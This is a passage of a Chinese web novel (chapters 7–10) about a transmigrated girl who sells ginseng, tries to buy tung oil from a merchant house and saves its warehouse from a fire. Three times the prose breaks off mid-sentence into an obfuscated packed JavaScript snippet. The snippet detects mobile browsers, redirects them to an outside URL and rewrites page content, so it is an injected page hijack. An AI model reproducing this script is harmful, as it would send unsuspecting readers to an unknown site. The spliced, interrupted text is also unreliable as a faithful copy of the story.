他本就不想当甚么街道司的差，苦死累活领那几贯钱的月奉，图什么？他酒楼里随便陪个小郎喝酒都比这挣得多！ 要不是他娘一哭二闹要死要活，说为了这差事花光了家里的钱，他才不来这破地方。 他昨个为此跟夏氏吵了一顿，还挨了他爹一巴掌，这才跑出家门，赌气大喝一顿。 牟万里心里哼了一声，果然是有钱恣意。 他挥手冷声：“西市有个药房失窃的案子，说是贼人逃到了咱们大安坊，你去管，有什么事刘三儿会帮你。下去罢。” 刘三儿便是领他进来那个胥吏，房进利领命出了廨房。 这街道司里的人手大致分作三班，分别是胥吏，捕快和卒役。 胥吏管的事书文写簿的杂活儿，卒役又叫巡军使，驻扎在军巡铺，专管刑案走水这样的大事，由司正亲自调度。 捕快既要负责街道治安，又要负责坊内清洁，还得兼顾着沿街铺面摊子的管理和夜间巡逻打更，是最累的。 此时班房里就十几个值班的捕快，房进利拖着嗓音唤了一声，几个捕快陆续围拢过来听命。 房进利清清嗓子：“那什么，有个偷药的贼跑进咱们坊了，你们去给我抓回来。” 没人动。 几个捕快开始当着他面窃窃私语，房进利有些不悦，大声道：“去啊！” 没想到捕快们的嘀咕声更大了。 房进利横行霸道惯了，头一回遇到这种事，只觉面子被驳。捕快中忽然有人道：“敢问司副，那贼人的姓名可有？画像可有？何时进坊，被何人所见可有？没有这些我等如何捉拿。” 说话的正是房锦儿的邻居，吴顺。 胥吏刘三儿赶紧在房进利耳边提醒道：“房爷，牟大人早晨让人送去您廨房里的那卷东西呢？” 房进利这才想起好像是有那么回事，佯作镇定，挥手让刘三儿去取了来，正是那贼人的画像姓名。 画像有了，姓名也有了，房进利心想这下总该够了罢，哪知几个捕快还是一动不动。 吴顺道：“还请司副布置。” 房进利火气一下就上来了，刘三儿忙小声劝道：“这个吴顺是街道司的老人儿，脾气刚直了些，但捉贼很有两把刷子。” 刘三儿的本意是说此人可用，然他不了解房进利的性子，不晓得这么说只会让房进利觉着受到了威胁。 果然，房进利闻言一改先前的散漫，跟只斗鸡似地跳了起来，将吴顺打量了一遭，道：“老人儿是吧？有本事？那我就布置你带头去抓，今日下值之前若抓不住，别怪我不客气。” - 出了街道司衙门，同行的捕快皆有些忧心忡忡，这司副上值第一天便如此行事，以后的日子恐怕不好过。 有人问道：“吴爷，咱现在怎么办？” 吴顺手中将那张贼人的画像看了又看，道：“我看这贼子有些眼熟，说不准与咱前些日子抓的那盗马贼是一伙的。” 有人道：“那马坊的人会不会见过？” 吴顺点头：“走，去瞧瞧！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878588|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>- 城外的三家书馆，一曰云溪书院，规制不大，设施却极尽精雅，多收官宦子弟。一曰南山书馆，学子众多，治教极严。 还有一曰文德学馆，乃是这五家书院之中规制最大、风貌最朴实者。 房锦儿绕着馆院走了一圈，竟走得额角都冒了汗，问了问，才知这家学馆内舍生近四百，外舍生千人有余，比昨日所见的明经学馆大出一倍，几乎可比太学。 逸哥儿在校门前伸着脑袋望了又望，末了竟羡慕道：“要是我也能进这学馆便好了。” 房锦儿笑着问他：“逸哥儿想学甚么？” 这朝科举，既可考进士，也可考律、书、算、医诸科，既有文举，也有武举。 逸哥儿神色十分认真地想了想：“不知道。” 房锦儿笑道：“那你从今日便好生想一想，等阿姐赚了钱，先送你上私塾开蒙。” 姐弟三人在三家学馆之间来回穿梭了半日，终也不见那绿衣书生出现。到了未时，房锦儿决定作罢，还不如回去把招牌写了，为摆摊算卦做做准备。 姐弟三人便沿着来时的山路往回城方向走。 路过文德学馆附近时，房锦儿犹豫再三，决定再去碰最后一回运气，于是她又到学馆门前张望一番，这回巧了，让她碰见十几个背着竹书箱的书生正往里走，一看打扮就与那绿衣书生差不多。 她赶忙上去拉住一个，其余纷纷疑惑回头，趁着间隙，房锦儿挨个将人打量完毕—— 还是没有！ 那几个书生莫名其妙，防备道：“诶诶诶，男女有别，小女娘拉我们要作甚？” “不作甚，看看。”房锦儿厚着脸皮赔笑。 那几个书生一听更是仿佛被非礼了一遭，红着脸赶忙走了。 房锦儿转身回去寻等在路边的锦云和逸哥儿。 哪知三人快行到山脚时，房锦儿眼角忽然瞥见石板路下草丛发亮，低身伸手一摸，竟捡起块带着紫穗的玉坠子！ “阿姐，这可是个宝贝！” 两小只惊呼着围过来看。只见那坠子半指来长，通体白腻，温润如脂，雕作瑞兽模样。看这大小和底下串的穗儿，大概是个扇坠。 房锦儿抬头寻摸一圈不见失主，握了握，触手微凉，想是应当掉在这里有一会儿了，估摸着是哪家书院的书生落下的。 羊脂玉扇坠，用得起的也不是寻常书生，至少得是个官宦子弟。 “阿姐，咱要不拿去当了罢！这样你就不用辛苦给人算卦了。” 锦云望了望四周没人，扒着房锦儿耳朵小声道。 老实说，房锦儿不是没动这个心思。 可以她的身份，拿此物去当，定要惹人起疑，万一还是个绝无仅有的少见宝贝呢？怕是要惹祸上身。 可若不用罢，买油的本钱还没着落呢，真不要兵行险着？先把本钱弄到手再说？ 届时赚了钱，可以再赎回来物归原主。 “我觉得不妥，阿姐，咱不能当，会招来麻烦的。还是先收好了，想办法寻一寻失主。” 逸哥儿是个心思缜密的，已然想到了更深一层。 房锦儿踌躇了片刻，终是没说当，也没说不当，从树上摘了几片新鲜的软叶把那玉扇坠包好了，好生收进怀里，带着两小只回了城。 - “吴爷，搜出来了！” 街道司的捕快对着门里大喊。吴顺手中擒着个壮汉，闻言扭着手一脚把人踹在地上，让人拿绳子过来捆了。 “搜出多少？” “全搜出来了，这贼子从西市药行偷来的一整车药材。吴爷，您可真行，还真让您说着了，就是盗马贼一伙的！”那捕快竖起大拇指。 “这几人先盗了马匹，再以马拉车运药，咱们若是再晚来些，就让他驾车跑了。” 另一个捕快牵着马车过来，车帘一掀，里头满是细线捆好的药包，那捕快看得眼睛发亮。 “还是现成的？”吴顺随手拿起一包，见上头写着“温补”二字。 他不动声色地看了看那牵马的小捕快，沉吟一瞬，向其他人吩咐道：“行，你们先将人押回去，车马我与毛富来押。” 捕快们领命去了。 叫毛富的小捕快牵马要走，吴顺拦住，从车上捡了几包药材递给他：“你阿娘身子不是一直不行么。” 毛富惊讶，忙道：“不不，吴爷，我不是这心思，我……” “拿着罢，我不会同他们说的。这一整车的药，谁看得出来？再说了，就咱这点月奉，哪够给你老娘买这好药。” 吴顺说着，自个也收起两包药材。 毛富这才犹豫着拿了药，道：“那……那，多谢吴爷。” 8. 第 8 章 “元甲，我扇坠不见了，帮我找找。” 顾济一把自个通身摸了一遍。 “那个鼻歪眼斜的白虎？”元甲应声放下手里的东西，过来跟着一块儿摸。 “你摸这儿作甚，别摸我啊你快去找。” “郎君，要我说，那玩意别要了罢，多旧了，还怪难看的。” “你少废话。”顾济一把将元甲推了出去，“我估摸着是掉在去学馆的路上了，你去找找。” 元甲哀嚎：“大晚上的，我找也看不见呐。” “那我不管，找不着别回来。”顾济一“砰”的一声关上了门，过了片刻，又开门伸头出来。 “回来时候顺便带点儿吃的，盛都的朝食我吃不惯，我想吃炊饼和肉干。” - 房锦儿用过米粥，正面带愁色，借着月光摩挲那捡到的玉扇坠时，听见薛湘在院子里唤了两声，她赶忙拿叶子把那扇坠包好，胡乱塞进身下的草垫里。 “锦儿，来，看我给你带了甚么好东西。” 薛湘笑着踏进门来，往房锦儿身旁一坐，塞给她两只捆着细线的纸包。 房锦儿眨眨眼睛，拿起来细看。 “温补……这是药材？你哪来的药材？” 薛湘笑道：“顺子刚拿回来的，说是专门给你带的，你身子不是还没好全么？煎去吃了，补一补。” 房锦儿一听，赶忙摇头把那药推回薛湘手里，道：“使不得使不得，你和吴大哥已经够照顾我们姐仨的了，我好了，早好了，这药你让吴大哥退了去，不能花这冤枉钱！” 自打穿来靠的就是吴家的接济，吴顺月奉不多，薛湘那匹彩布还没绣完，房锦儿见天看着她穿针引线，手都戳破了好几处。 哪有道理还要人家买药的。 这朝药有多贵她大致晓得，况且她真的好差不多了。 薛湘见她怎都不肯收，这才凑近耳朵，小声把吴顺抓了偷药贼的事情给她说了说。 …… “药给锦儿了？”吴顺见薛湘回来，把焐热了的床让出来，往里挪了挪。 薛湘钻进被窝里：“给了。一开始不要，我把你那事儿跟她从头到尾说了，才勉强收下的。” “嗯。” “不过你怎地突然想起拿药了？” “我是想着，像锦儿这般死而复生，是天降异象，不是大福便是大祸，让咱们碰上了，能帮就帮一把。要真是祸，反正也躲不开，要是福嘛，说不定咱也能跟着沾沾光。” “我不是说这个。” 吴顺知道她想问什么：“我要不先拿，毛富那小子肯定不敢接，他老娘病重，衙门里都知道。” 薛湘不大舒服地转了转身子：“反正我总觉得那个毛富城府深着呢，你别瞎做好人。” 吴顺没答，吹熄了灯。 - 那边吴家熄了灯，这边房锦儿就着一点点火光，小心翼翼地从那药材包里挑出一片黄褐带须的薄片，放到鼻子底下闻了闻。 好家伙。 “是参？” 房锦儿不敢相信地又闻了闻：“真是参。” 一天之内，又是捡到羊脂玉扇坠，又是发现邻居送的药材里有山参。 简直是天降甘霖。 看这色泽模样，细长，肉紧，须细，有环，气味甘香，应是山参，品相竟还不错。 “阿姐，山参是什么？”锦云和进逸一同凑过来，进逸手里还拿着照明的柴，房锦儿赶忙伸手把他挡了一挡，免得烧着了药材，然后才把那参片给二人看。 “山参乃是极其珍贵的药材，吃了使人补气养血，起死回生。” “这般厉害？” 小锦云嘴巴哦成了个圆圈，想也不想：“那阿姐吃！” 房锦儿笑道：“阿姐已经起死回生过一次了，再吃便不管用了。” 锦云便道：“那咱就拿去当了。” 这小囡奉行的乃是“阿姐第一、银子第二”的准则，对阿姐有益的紧着阿姐，阿姐不要的就拿去换钱。 房锦儿道：“阿姐也正有此意，不过不是当，是拿去卖。” 她把两小只叫过来，让进逸再去拿几支干柴，在地上点成个小火堆，把两包药材往地上一放，三人趴在地上。 “你们看，这种色微黄、带须的，闻着香，是山参，捡的时候要格外小心，不要弄断了根须。这种较厚些、表面粗糙的，闻着苦，则是白术。两种要分开捡，不管多小都挑出来……” 房锦儿一边讲，一边在心里打算着。 她本是已经动了当那扇坠的心思，如今有了这包药材，就不必冒那个险了，也不必去摆算命摊子骗人。 两包药材不多，能捡出来的山参和白术估摸着也不过几钱重。 房锦儿要求不高，足够买上二三斤桐油即可。 只要能买到油，她便有法子卖出去，加上桐油利润之高，届时二斤变四斤，四斤变八斤，她很快也能还上吴家这个人情。 - 因着药材的来路，房锦儿没打算去坊里的大药行，借来吴家的木桶打水梳洗干净，拿粗布绳子整齐绑了个侧麻花辫，径直去了城边儿上的一家小药铺子。 房锦儿在十三四岁的年纪中算是手长脚长的，就是太过瘦削，头发又枯又多，麻花辫搭在肩上像是能把她压垮了。 但也因此，显出几分吃苦耐劳的良家女娘模样，平惹人信任。 药铺的掌柜把她拿来的东西过了称，看着那山参片，眼睛亮了：“就这点儿？还有吗？” 房锦儿摇摇头。 掌柜低头拨了一阵算盘：“山参一钱，白术五钱，一共四百四十文，我做主凑个整，给你四百五十文。” “不卖。”房锦儿收了药，扶了扶肩上的蓝包袱。 “诶诶，别走啊。”掌柜急忙叫住她，沉吟一下，狠心又把算盘珠子拨上去一颗，“五百文！” 房锦儿扭头便走。 “你想要多少？”掌柜的急了。 房锦儿道：“我去李家的百种圆和闫家的香药铺都问过，李家嫌少不要，闫家说山参品相算不得最好，只能给一贯二百文。” 李家的百种圆和闫家的香药铺都是原身记忆里的，房锦儿只是知晓，从未去过，但她说得理直气壮。 那掌柜被唬得皱起眉头，嘀咕道：“知道得还挺多……” 其实，若是她道闫家说那山参好，他铁定不信，以闫家那德行，只会压价，绝不可能抬价。 可她说的是“品相算不得最好，只能给一贯二百文”，这倒是符合闫家药铺的作风了…… 掌柜的心一横：“我顶多出一贯，连同白术一齐，不卖便算了，你找闫家去。” “卖！” 房锦儿脸晴得比变天还快，眉眼弯弯地把药材往柜台上一搁。 拿着钱出了药铺，正好与一辆双轮马车擦肩而过。马车上有人撩开窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那人见她放开，耻笑一声，又要走，房锦儿也有些不悦了，再度把人一拦：“我是客人，郎君是东家伙计，客人有意求买贵庄桐油，伙计为何一意赶客？天下没有这般做买卖的道理，难不成要我亲自去问你们东家？” 这种目空余子的搅屎棍，房锦儿上辈子见得多了，一番话引得周围几个油匠驻足观望。 那人面上难堪，干脆刻薄道：“不卖散油你听不懂？我‘北氏桐油’乃江河以北第一大油庄，五百斤以下皆算散油，五百斤以上论量谈价。敢问娘子买几斤？五斤？十斤？抱歉，不卖。” 他斜斜睨了房锦儿身后的竹背篓一眼。 “即便如此，郎君何不能好生告知，非要端出目中无客的架子，给贵庄的好名声招损？” 那人讥道：“目中无客，你是客么？” 房锦儿闻言心中讪了一讪。 说真的，这事还得怪她前日太兴奋，走得太急，竟没问清楚油庄的规矩，实在不该。 可话说回来，既是赚钱的生意，又怎么可能平白无故便落到她手里？ 房锦儿算是知道，为何那坊里五家学馆，千余等着用油的生徒，卖油的却只有那货郎一人了。 她把两手往身后一背，道：“我当然是客。你帮我通传东家，我有五百斤桐油要买。” 9. 第 9 章 “就你？” 那人满目鄙夷。 “我劝你还是莫耽误我们东家的时间，免得自取难看。” 房锦儿简直奇了怪了，这人与她头一回见面，一无纠葛二无冤仇，为何从一开始就对她恶语相向，非得把她赶走不可？ 她低头看了看自己的衣裳，半新不旧的白裙和布鞋，有些尘土但不脏，加上今早特意梳洗了头发，衣着打扮并无失礼之处。 那便只能是他狗眼看人低。 可城中明明就有货郎那样倒油的小贩从此处进货，难不成他不知道？ “不错，就我。”房锦儿道，“我买不买得成五百斤油不是你说了算。可若是我买成了，我便是你的贵客。” “趁我好生与你说个请字，你现在引我进去，我便不计较。若是等下让我自个进去买成了，我必会把你如何赶客的事情照实说，到时候你们东家如何处置，我可就管不了了。” 围观的油匠渐多，那人皱眉踌躇片刻，终是不情不愿地去通传了东家。 这北氏桐油的东家是位四十七八岁的女妇，人唤北夫人，生得面目庄重，不苟言笑。 身旁还跟着另一个拿簿子的白衣，一见房锦儿便认出来了：“是你？” 正是前日告知她油价的那个伙计。 北夫人道：“鸿文，你二人认识？” 鸿文道：“这位娘子前日来询过油价，恰是我接待的。” 房锦儿行了礼，说明来意。 “不必多礼，”北夫人将她打量几许，语气倒是比长相温和，“你是替家中主人来买桐油？” “并非，晚生想做桐油生意，替自己买油。” “替自己买油……”北夫人有些意外，“可我方才听说，你要买五百斤？” “是，也不是。” 房锦儿有些不好意思地笑笑：“若贵庄肯卖散油，那我便只买十斤，若贵庄规矩是五百斤起卖，那我便只好买五百斤了。” 北夫人道：“方才我庄上的伙计应当与你说过，我们北氏桐油从不散卖，五百斤已是最少，你可确定要得完？” 房锦儿踯躅片刻，道：“要得完，但不是一日，而是一月，不知夫人可否通融。” 她接着把要做的生意，以及心中的想法大胆说了一说。 她那日寻青衣书生不见，看货郎卖油，算出他每日背油二十余斤，货到即空，说明市场极大。 只不过以她的气力，二十斤肯定是背不动的，她估摸着十斤已是极限。 故此，她本是想先十斤十斤地买。 可眼下油庄有规矩，散买不行，那一次性定下五百斤油契也不是不可。 只要能允许她按日结算，每日十六七斤油，她眼下买得起，卖出去更不是难事，大不了让进逸也跟着来…… “对不住，我们油庄不做赊账的买卖。” 北夫人打断她。 “五百斤不是小数目，我庄上的桐油大多运往沿海州县，作造船之用，但也有几家油行商号会从我这儿采货，运到别处散卖，你不如去向他们采买。” 北夫人转头：“鸿文，将那几家油行的名号写给这位娘子。” “夫人且慢。” 这是要赶客了，房锦儿赶忙作揖。 油行她早便问过，价钱比那货郎还要高出十几文，即便多买，顶多也不过与货郎持平。 她要的不是油，她要的是利。 “向油行买油，其间利润已经分摊殆尽。晚生为寻贵庄花费了不少功夫，还请夫人再通融通融，只要夫人允我，我可以保证每月至少采货五百斤。” 北夫人摇头：“你可以保证，我却不能取信，更不能每月赊你五百斤的帐。” “若夫人愿意，我可以签年契，若采货量不足，夫人届时让我赔钱便是。夫人也可以将赊账视作借贷，我愿按月多付利息。” “各家有各家的规矩，你不必再言了。” 北夫人示意鸿文送客，鸿文将写好的一张纸笺递给房锦儿，上头当真写了几家油行的名字。 房锦儿仍不死心。 “可据晚生所知，盛都城中就有卖货的油郎是从贵庄采买，日易油二十斤，每日往返。可否请夫人告知货郎与贵庄签的是哪种契？油价几何？我亦愿按照此方法来。” 哪知北夫人闻言突然大为不悦。 “一派胡言！这是何意？你是怀疑我说一套做一套，故意不卖油与你？” “晚生不敢，晚生只是想买油，就事论事。” “那我便告诉你，我北氏桐油从未卖过散油，今日既不卖与你，从前也不卖与其他任何人。我好心将油行的名号写给你，你不领情便罢了，竟还信口雌黄。” 房锦儿虽吃了一惊，却观察北夫人的颜色，见她义正言辞，不像是恼羞成怒，反而像是真被人污蔑。 难道北夫人真不晓得那油郎？ 这回轮到房锦儿意外了，莫不是她一开始便猜错了，货郎的油不是出自这里，她是靠着阴差阳错才找到这家桐油庄？ 她一时间不知该如何开口，北夫人拂袖而去，临走前道：“今日之事我不与你计较，你莫要再来了。” 鸿文人倒是不错，悄声过来送房锦儿离庄，道：“你若真想做这生意，莫要放弃，我家东家脾气急，但实际宅心仁厚，或许还有转机。” 房锦儿急忙道：“那你可晓得有个盛都城的货郎日日来庄上买油？” 鸿文摇头：“真没有。你若能说动我家东家，你便是头一个了。” - 百思不得其解，接下来两日，房锦儿便专门去蹲守那卖货郎，果然被她蹲到。 她跟着那货郎出了金光门，一路上山，走的就是前往北氏桐油的路！ 只是走到快到油庄时，那货郎便跟脚底抹了油似地，哧溜一下钻进树丛，房锦儿追上去，人早就不见了踪影，待到再见着，便是已经背着油回来了。 如此两回，房锦儿摸不着他究竟如何进的油庄、如何买到的油。 但至少能猜到一点，货郎的油来路不正，北夫人确实不知。 跟踪货郎不成，房锦儿只好再想办法见北夫人，可庄子没人引，进不去，她便只能在庄外等机会。 一连四五日，鸡鸣就出，天黑才回，见天地守在那北氏桐油庄外。 除了那个势力的白衣和几个喽啰，庄里的油匠和伙计大都跟她混了个眼熟。 房锦儿从不闲着，看人拉车便上去帮一把，看人调度运货忙不过来的，也适时帮几句。 渐渐地，油匠伙计们便也会时不时来与她攀谈，瞧她等得久了，还会送碗水给她喝。 这日，风刮得异常之大。 房锦儿在庄子门前守了半天仍未见到北夫人，便寻了个附近的坡地坐下，一边背对着风啃干粮，一边看油匠们拿布袋封油缸。 春日风大，怕有春汛，春汛之前，更怕的是春雷。 桐油庄子不防别的，防的就是火。 庄上数十个油仓，成千油桶，一个春雷砸下来，只要砸中一桶，大火嗤啦窜起来，完蛋的不仅是无数心血和铜钱，说不定还有油匠伙计的性命。 因此，北氏桐油防范的法子很是完备，封桶封仓皆有熟手操作，不容得外人帮忙。 房锦儿插不上手，只能旁观。 这坡是她这几日选中的宝地，地势高阔，上有绿树遮阴，又能眺望大半座油庄，更妙的是从坡上跑到庄子门前只需一眨眼，丝毫不怕错过北夫人出庄。 房锦儿目光打过一片齐整的仓房，落在最靠外的一间上。 为了防火，仓房之间留有足够距离，唯独最靠外那间，边儿上还挤着盖了间柴房。 一个眼熟的白衣身影在那间仓房门前晃动，与仓里的油匠指手画脚，动作似有些粗暴。 房锦儿心里一声冷哼。 这搅屎棍真是到哪都讨人嫌。 她这几日从油匠们口中得知，此子名叫王饷，是个横行霸道惯了的。 他父亲本是庄上的老油匠，因为几年前死在一场走水的事故当中，北夫人念其不幸，对王饷的行径时常睁一只眼闭一只眼，然而王饷却不知收敛，反而愈发胆大。 离得太远听不见声儿，房锦儿看着那油匠指着一口盛满油的缸，好似在对王饷解释些什么。 王饷叉腰摇头，那油匠有些急了，一跺脚，嘴里念叨了几句，转身往旁边的柴房跑去。 房锦儿看他从柴房里取出一盏提灯。 油庄里为了防火，仓房里不摆灯，而其余地方用的都是加了琉璃罩子的避风灯。 那油匠点着灯，盖好罩，便要回仓房里去。哪知他前脚刚出门，一阵大风呼啸而至，几乎将那提灯卷得翻了个个儿。 灯苗照亮脚底，房锦儿感觉那油匠脚下的石板路亮了一晃。 不是寻常的亮，而是路面浸了油，油光反射出的亮。 房锦儿直觉不对。 北氏桐油防火之法森严，路面有油滴落，必须当即清理干净。 无论是她这几日远观，还是那日进庄，北氏桐油的路面上从未有过漏油的痕迹。 她刚站起身，那大风又是一卷，这次直接把那油匠连灯带人拍在了地上！ 灯苗着地，“呼哧”一声便蹿起一拃来高的火焰，沿着路面浸了油的地方，笔直往仓房烧了过去。 “走水啦！走水啦！” 房锦儿把剩下的半块干粮团成团往口中一塞，冲着便下了坡。 “救火！快救火！” 那间仓房离庄子大门有段距离，眼下又正是忙的时候，根本无人注意。房锦儿大喊着撞开门吏冲进庄时，众人皆是一愣，随即才犹豫着放下手中的活计，跟在她身后往里跑。 那火势比远观来得凶猛得多。 房锦儿第一个冲进火场，见那提灯的油匠被卷在正中，浑身着火，正捂着一只手痛苦地呻吟。 仓房附近都设有灭火用的沙池。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878590|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她迅速把身后的竹背篓一扔，单捡起陶罐，使九牛二虎之力从就近的沙池之中舀起半罐细沙，奋力往那油匠身上一泼。 “打滚！快打滚！” 那油匠似是听见她喊叫，得了生机一般，勉励左右翻滚起来，配合着房锦儿泼去的沙，他身上的火苗渐渐扑灭。 瞧见油匠得了救，房锦儿赶忙又顺着火路，携沙往仓房方向奔。 火果然是顺着地上的油渍而来的，越靠近仓库，烧得越旺。 房锦儿奔至仓门，那火焰已经蹿得一人多高，王饷被突如其来的大火吓傻了，跟个木雕似地站在仓房门前，瞧见房锦儿奔来，第一反应居然是拔腿就跑！ 房锦儿一把将他拉住，指着仓房吼道：“你进去把地上的布袋都拾起来！我给你泼细沙！” 封缸的布袋涂了蜡，能防止空气流通，外头再以黄泥密封，便保证封好的桐油长时间不会变质或渗漏。 可若在上泥之前遇到明火，那就是极其易燃之物了，若不趁火烧进仓库之前捡起，恐怕整座仓都要完蛋。 王饷却仿佛听不懂她说话，只一味地摇头挣扎。 真是一坨烂泥。 房锦儿搡开王饷，任他连滚带爬地跑远，她四周烟雾缭绕，听声音，其他赶来的人恐怕还有些距离。 等不得了，她举起手中的陶罐，准备边泼边进。 “我进去！你替我泼沙！” 突然有人拉了她衣袖一把。 房锦儿猛然回头，见是蒙住了口鼻的鸿文。 “好！” - “湘娘娘——” 锦云糯叽叽的嗓音从门外传来，薛湘放下绣了一半的彩布，起身去开门。 门只开了一条缝，便透进股诱人的香味，薛湘无奈地笑着摇了摇头，将门敞开，果见一碗赤亮的酱蒸肉出现在眼前。 锦云捧着碗冲她噗嗤一笑。 “烫不烫？快进来。” 薛湘连忙帮她把碗端过来，招呼她进门，锦云跨过门槛回身招了招手，薛湘这才看见进逸也跟在后头过来了，手里还端着两碗冒热气儿的米粥。 “哎呀，真是……” 薛湘哭笑不得，只得赶忙去放了那碗酱蒸肉，又过来招呼进逸。 “不是都跟你们阿姐说不必再送了么，怎地又来啦？” 薛湘看着桌上的肉和粥，收罢，昨日送来的炒羊肉还没吃完呢，不收罢，这两小只指定不肯罢休，僵持到房锦儿回来，还是拗不过得收。 “阿姐说这是利息，必须得送。她说现在还没钱报答你和顺子叔，只能买些吃食，等过些时日她赚了钱，还要连本带利地还。” “可我和你顺子叔都吃胖了，吃不下了。” 薛湘笑着哄她。 “锦云乖，拿回去跟阿姐一齐吃，跟阿姐说湘娘娘知道她的心意了，以后不必再送了，好不好？” 锦云坚定摇头：“阿姐说你说的不算，她说的才算。” 薛湘叹气。 比倔，这房锦儿真是头一名。 命倔，嘿，性子更倔。 那日送了她两包药材，第二日傍晚，便端着一碟肉菜，带着两个小的过来道谢了，说是从那药材里头挑出几钱山参和白术，卖了一贯钱，准备用这笔钱做个卖油的营生。 薛湘和吴顺起先也吃了一惊。 本以为就是两包普普通通的温补药材，竟有山参？还能变卖成钱？ 薛湘更讶异的是，山参这般名贵之物，他们寻常百姓大都只是听过名字而已，房锦儿居然能认得出来。 然左右都是送出去了的东西，房锦儿要怎么处置，都由得她。 即便知道了里头有值钱的药材，薛湘两口子也没动过后悔的念头，更不图房锦儿报答。 若这一贯钱真能救姐弟三人于水火，他们夫妻也算是积了德了。 可房锦儿非让两小只每天变着花样地送吃食，不收还不行。 薛湘只得把那碗酱蒸肉收下，又取来两个碗，把两碗米粥分作四碗，一碗留着给吴顺下值回来热了吃，另外三碗和兄妹俩现在用。 已经快到吃暮食的时候，这些天房锦儿不着家，好几回都是薛湘带着两小只一同吃。 “你们阿姐昨日可买到油了？”薛湘问。 锦云抿着嘴摇了摇头。 “人家嫌阿姐要得少，不肯卖。”进逸难得地插了句话。 “那何不去找找别家？” “阿姐说就这家便宜，利大。” “那也不能成日地守下去啊。” “阿姐说，这么好的利，就算守上一整月也值当。” 三人吃着米粥，时不时叨一筷子酱蒸肉，说着话，眼瞧着天色阴了起来，紧接着猝不及防，忽听“轰隆”一声巨响，竟是打春雷了。 薛湘“呀”了一声，直起身子问道：“你们阿姐有伞没有？” 两小只一愣，齐齐摇头，便听见雨“哗啦”地下起来了。 10. 第 10 章 鸿文从火场中捡完最后一个布袋，与房锦儿配合着拉上以黄泥夯实的仓门时，春雷恰好从天而降。 北氏桐油的一角没在冒着黑烟的火海之中，火铃大作，赶来的众人泼沙的泼沙，救人的救人，直到最后一丝火星被突如其来的春雨浇熄，所有人才算是松了一口气。 房锦儿手上、脸上沾满细沙和黄泥，衣裙被火烟熏燎得发了黑，再被雨水一冲刷，成了只瘦巴巴的落汤鸡。 她与鸿文一左一右抵在那仓房大门上，看着戛然而止的火势，终于双双卸下劲，瘫坐在地。 鸿文把掩面的麻布一拉，抹了一把被烟熏得发红的眼睛，喘道：“今日若不是你，油，油庄就完了。” 房锦儿弓着身子咳嗽了好一阵才直起身。 她同样是双眼通红，雨水把她脸颊拍湿，泡了水的麻花辫坠在胸前，碎发紧贴鬓额。 她咳完却笑起来，道：“油庄不能完，我还指，指着你们的桐油发财呢。” “命，命都差点儿没了，还想着发财。” “不想着发财，我才不，才不拼了命来救火。” 两人就这么瘫靠在仓门上，任雨稀里哗啦地浇泼着，有一搭没一搭地说话，吃了两嘴巴的水。 鸿文笑道：“那，那要是我们东，东家，还是不同意卖油给你，怎办？” 房锦儿道：“那我就祝，祝你们多烧几回，我回回来救火，救到北夫人卖油给我为止。” 鸿文竖起大拇指：“好，好个要钱不要命的。” 房锦儿有气无力地拱了拱手：“过奖过奖。” 火势尽去，剩下的便好办得多。 庄上的火铃响过，几乎全庄的油匠和伙计都赶来帮忙，有人搀起房锦儿和鸿文，送来挡雨的蓑衣斗篷，把两人分别接进屋内，又有小丫鬟帮着房锦儿擦干了全身。 房锦儿手上被砂砾划破几道口子，肩上还有一小块灼伤，都上了药膏。 问了问那个被火烧伤的油匠，说是已经救下了，庄上的医工正在治。 又问了那王饷，说是还未找着，不知被吓得跑到哪里去了。 房锦儿站在屋门前向外眺望，远远看见北夫人披着蓑衣匆匆而过，亲自指挥众人清理火场。 待到雨停，已是天色尽暗。 房锦儿怕弟弟妹妹担忧，休息得差不多了便不准备多留，要回了背篓和陶罐，起身作别服侍她的两个小丫鬟。 “替我转告鸿文郎君，我明日再来。” 哪知才出了庄子大门，便听后头有人唤她，转过身去，见是鸿文带着两个小厮。 鸿文头上缠着道纱布，道：“我们东家请你留步。” 房锦儿一怔。 鸿文挤挤眼睛：“不是想发财么，请罢？” …… 北夫人正蹲在火场正中，两个伙计给她打着灯，让她躬身检查路面的火痕。 见他二人来了，直起身来。 房锦儿刚要见礼，被鸿文一把托住。 北夫人开口便道：“你胆量不小啊。” 房锦儿被她说得一懵，以为会错了意，正要辩驳，又听她道：“不只敢日日蹲守在我庄前，还敢冲进如此火场，救下我庄上的油匠和这座仓房。我看你不只是胆量不小，野心亦是不小。” 房锦儿低头摸了摸鼻尖：“事发突然，晚生来不及多想。” 北夫人借着那两盏幽光打量着房锦儿：“野心并非坏事，为何敢想不敢认？” 房锦儿道：“晚生并未否认。” 她只说救火事急，可没说其中不含私心。 北夫人这才笑了，道：“今日之事，我欠你一个谢字。若非你有此胆量和义举，我北氏桐油，今日恐怕损失惨重。” 她面色疲惫，模样却比上回温和许多。 “我晓得你日日在庄外等我，还是想要我卖散油。” 房锦儿道是。 